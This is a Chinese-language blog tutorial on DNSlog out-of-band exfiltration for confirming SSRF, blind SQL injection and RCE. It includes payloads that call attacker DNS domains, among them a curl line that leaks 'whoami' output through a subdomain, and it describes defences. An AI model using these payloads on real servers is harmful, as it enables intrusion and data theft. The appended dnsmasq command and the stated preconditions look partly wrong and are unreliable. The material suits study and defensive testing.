Web漏洞知识梳理笔记--DNSlog数据外带

        DNSlog数据外带是一种常见的攻击者在渗透测试或攻击中使用的技术,用于检测目标系统是否存在 SSRF(服务器端请求伪造)、命令注入、盲目SQL注入等漏洞。通过这种技术,攻击者可以利用 DNS 解析查询(通过域名访问)来检测远程服务器是否访问了特定的外部资源。利用 DNSlog 服务,可以将目标服务器的 DNS 请求(外带数据)捕获到一个受控的 DNS 服务器上,从而实现数据外带和确认漏洞的存在。

工作原理

  1. DNSlog 服务:攻击者首先注册或设置一个受控的 DNSlog 服务,它会记录所有向该域名的 DNS 查询请求。常见的 DNSlog 服务有 ceye.iodnslog.cn 等。

  2. 构造请求:攻击者在漏洞测试中,构造一个恶意的 HTTP 请求或其他输入,输入的数据包含一个独特的 DNS 记录(比如 abc123.dnslog.com)。

  3. DNS 请求触发:当目标服务器执行了该恶意请求时,服务器会尝试访问指定的 DNSlog 域名。

  4. 记录请求:DNSlog 服务会记录下从目标服务器发出的 DNS 查询请求,攻击者从 DNSlog 中获取请求信息,验证服务器是否进行了外部 DNS 查询,并可以从请求中提取特定数据。

DNSlog数据外带的常见场景

  1. SSRF(服务器端请求伪造)

    • 利用 SSRF,攻击者构造请求让服务器访问 DNSlog 记录的域名,通过观察是否有 DNS 查询来确认漏洞。

    • 示例:

      http://victim.com/?url=http://abc123.dnslog.com

  2. 盲注(SQL注入、命令注入等)

    • 在盲注的情况下,响应没有明显的反馈,攻击者可以通过包含 DNS 查询来确认是否执行了注入。

    • 示例:

      SELECT LOAD_FILE('\\\\abc123.dnslog.com\\file.txt');

  3. 远程代码执行(RCE)

    • 在存在远程代码执行漏洞的情况下,攻击者可以构造一个请求,让服务器访问 DNSlog 域名,以验证代码执行成功。

    • 示例:

      wget http://abc123.dnslog.com

DNSlog数据外带的条件

  1. Windows系统;
  2. secure_file_priv为空;
  3. ROOT权限.

步骤举例

假设你在测试一个存在 SSRF 漏洞的网站,并希望通过 DNSlog 检测数据外带。

  1. 获取 DNSlog 域名

    • 注册或使用 DNSlog 服务(如 ceye.io),获取你专属的 DNS 域名(如 yourdomain.ceye.io)。

  2. 构造恶意请求

    • 将目标服务可能的 SSRF 漏洞点替换为你的 DNSlog 域名。

      http://victim.com/?url=http://yourdomain.ceye.io

  3. 观察 DNSlog 响应

    • 在 DNSlog 服务后台,查看是否有来自目标服务器的 DNS 查询记录。如果有,说明目标服务器成功执行了请求,漏洞得以验证。

    • 查询示例:

      2024-12-20 12:30:45 | abc123.yourdomain.ceye.io | 192.168.0.1

  4. 数据外带

    • 在更多场景中,攻击者可能将敏感数据嵌入到 DNS 查询中。例如,将服务器的环境变量、文件内容等数据通过 DNS 请求进行外带。

      curl http://`whoami`.yourdomain.ceye.io

      当攻击者访问 DNSlog 时,结果可能显示如下:

      2024-12-20 12:35:45 | root.yourdomain.ceye.io | 192.168.0.1

注意事项

  • 域名长度限制:DNS查询有长度限制,通常不超过255个字符,因此在进行数据外带时,确保要外带的数据不会超过限制。

  • 协议限制:DNSlog技术主要适用于支持DNS解析的协议(如 HTTP、FTP、SMTP 等)。某些协议可能不触发 DNS 请求。

  • 防护措施

    • 禁止内部网络访问:通过防火墙规则,阻止服务器对外访问内部 IP 地址或外部的 DNS 服务。

    • 限制 DNS 查询:防止服务器查询外部不受信任的域名,或者对 DNS 查询进行监控。

    • 输入验证与过滤:对用户输入进行严格的验证和过滤,避免存在 SSRF 等漏洞的输入被利用。

总结

        DNSlog 数据外带技术利用了服务器发出的 DNS 请求来确认漏洞的存在和执行结果。通过利用 DNSlog 服务,攻击者可以有效检测 SSRF、盲注、RCE 等漏洞,并可能外带一些敏感数据。为了防范此类攻击,需要对外部请求进行严格限制,并加强对服务器网络访问的监控与防护。

03-13
### DNSLog的工作原理 DNSLog通过利用DNS查询机制来传递信息并记录请求。当目标系统执行恶意构造的数据时,会触发向攻击者控制的域名发起DNS查询。由于每次DNS查询都会被服务器记录下来,因此可以通过查看这些日志获取到目标系统的响应情况[^1]。 具体来说,在Web安全测试或者漏洞挖掘过程中,如果存在SQL盲注或其他类型的注入点无法直接返回数据给攻击者,则可以借助于外部通道如HTTP(S)、FTP等协议;而DNS作为最基础也是最常见的网络服务之一,几乎所有的防火墙都不会阻止其流量,所以成为了理想的带外通信手段[^3]。 为了使这种技术生效,通常需要满足以下几个前提条件: - 受害方能够解析指定子域名为IP地址; - 攻击者拥有一个可配置CNAME/PTR记录并且能接收任意形式(A/AAAA/MX...)询问的日志平台; - 测试环境允许内部主机向外发送未经严格审查过滤过的DNS包。 一旦上述要求得到满足,就可以精心设计输入字符串使得程序尝试加载来自特殊URL的内容——该链接指向由黑客掌控下的权威名称服务器所管理的一个随机生成但独一无二的新二级甚至多级子节点,并最终完成整个过程的信息泄露操作[^2]。 ### 实现方式 以下是基于Python脚本创建简单的DNSLog客户端和服务端的例子: #### 客户端代码 (模拟受害者) ```python import socket def send_dns_query(domain_name, server_ip='8.8.8.8'): try: resolver = socket.gethostbyname_ex(domain_name)[2][0] print(f"Resolved {domain_name} to IP address: {resolver}") except Exception as e: print(e) if __name__ == "__main__": # 这里应该是一个受控环境下唯一且未注册过的子域名 unique_subdomain = "example.unique-subdomain.dnslog-server.com" send_dns_query(unique_subdomain) ``` 此部分代表可能存在于易受攻击应用程序内的逻辑错误或功能缺陷之处,它试图解析一个不存在但实际上是由攻击者事先准备好的完全限定域名(FQDN),从而间接通知后者有关成功触发漏洞的消息。 #### 服务端代码片段(用于捕捉和展示接收到的查询) 对于实际部署而言,建议采用成熟的开源项目比如`dnschef`或是商业解决方案而非自行编写简易版本,因为这涉及到复杂的事件处理循环以及高效的并发支持等问题超出了本文讨论范围[^4]. ```bash # 使用Dnsmasq设置本地DNS服务器监听所有类型请求并将它们重定向至自定义API接口保存起来供后续分析使用 dnsmasq --address=/#/127.0.0.1 --port=53 \ --dhcp-authoritative \ --log-facility=- \ --conf-file="" \ --server=/unique-subdomain.dnslog-server.com/#<Your API Endpoint Here> ``` 以上命令行参数组合指示了一个轻量级却十分灵活的小工具如何充当临时性的公共根目录代理角色,负责捕获任何发往`.dnslog-server.com.`下各级分支结构体成员对象的一切合法有效的查找活动。 ### 应用场景 除了辅助发现潜在的安全隐患之外,DNSLog还广泛应用于其他领域: - **社会工程学钓鱼邮件验证**:确认伪造链接是否已被点击打开过。 - **恶意软件行为监控**:跟踪样本运行期间产生的异常外部连接企图。 - **红队演练对抗训练**:评估防御体系对外部威胁感知能力的有效性和及时性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值